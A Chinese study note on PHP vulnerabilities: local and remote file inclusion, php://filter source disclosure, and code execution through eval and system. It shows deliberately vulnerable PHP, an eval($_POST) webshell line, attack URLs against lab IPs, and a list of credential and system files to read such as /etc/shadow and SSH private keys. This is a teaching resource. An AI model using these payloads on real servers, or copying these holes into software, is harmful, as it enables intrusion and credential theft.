学习笔记:php漏洞
一、文件包含漏洞
1、常见包含函数
include(),require(),include_once(),require_once()
2、本地文件包含,新建一个include.php文件,里面输入
<?php
$test=$_GET['c'];
include($test);
?>
3、再新建一个test.txt文件,里面输入:<?php phpinfo()?>
4、访问
192.168.171.128/include.php?c=test.txt

5、读取敏感目录文件

windows:
C:\boot.ini //查看系统版本
C:\WINDOWS\system32\inetsrvMetaBase.xml //IIS配置文件
C:\WINDOWS\repair\sam //存储系统初次安装的密码
C:\WINDOWS\php.ini //php配置信息
C:\WINDOWS\my.ini //mysql配置信息
linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/mounts
/proc/config.gz
二、远程文件包含
1、将上面新建的test.txt文件放到另一台服务器上192.168.1.103
2、访问
http://192.168.171.128/include.php?c=
http://192.168.1.103/test.txt

确保php.ini中allow_url_fopen和allow_url_include要为On
三、伪协议利用读取php文件的源码
1、读取test.php文件结果如下

2、通过伪协议可以获取test.php的源码
http://192.168.171.128/include.php?c=php://filter/read=convert.base64-encode/resource=test.php

base64解码以后,获取文件源码

四、代码执行漏洞
1、常见代码执行函数
eval()/assert()/system()/exec()/shell_exec()/passthru()/escapesshellcmd()/pcntl_exec()
例如:<?php eval($_POST[a];?>
2、 获取ip相关信息
http://192.168.171.128/test.php?a=system('ipconfig');

3、动态代码执行
新建test.php,内容为:
<?php
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
?>
访问:
http://192.168.171.128/test.php?a=system&b=ipconfig
